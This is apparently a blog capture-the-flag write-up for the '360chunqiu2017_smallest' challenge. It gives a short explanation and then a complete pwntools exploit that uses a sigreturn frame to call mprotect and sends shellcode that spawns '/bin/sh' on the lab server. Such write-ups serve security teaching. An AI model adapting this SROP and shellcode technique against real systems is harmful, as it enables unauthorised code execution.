360chunqiu2017_smallest

stack地址不好泄露,但是发现elf的入口处刚好保存了start地址,只要把rsp设置为这个位置就能再次利用溢出

exp:

from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29216)
context.arch = 'amd64'
syscall = 0x4000BE
start = 0x4000B0
_context = SigreturnFrame()

_context.rip = syscall
_context.rax = 0xa

_context.rdi = 0x400000
_context.rsi = 0x1000
_context.rdx = 0x7
_context.rsp = 0x400018 

#srop
payload = p64(start) + p64(syscall) + bytes(_context)
sh.send(payload)
sleep(1)
#mprotect
sh.send((p64(syscall) + bytes(_context))[:15])
#gdb.attach(sh)
shellcode = '''
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,59
syscall
'''
payload = p64(0x400018 + 8 + 8) + asm(shellcode)
sh.send(payload)
sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Suspend.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值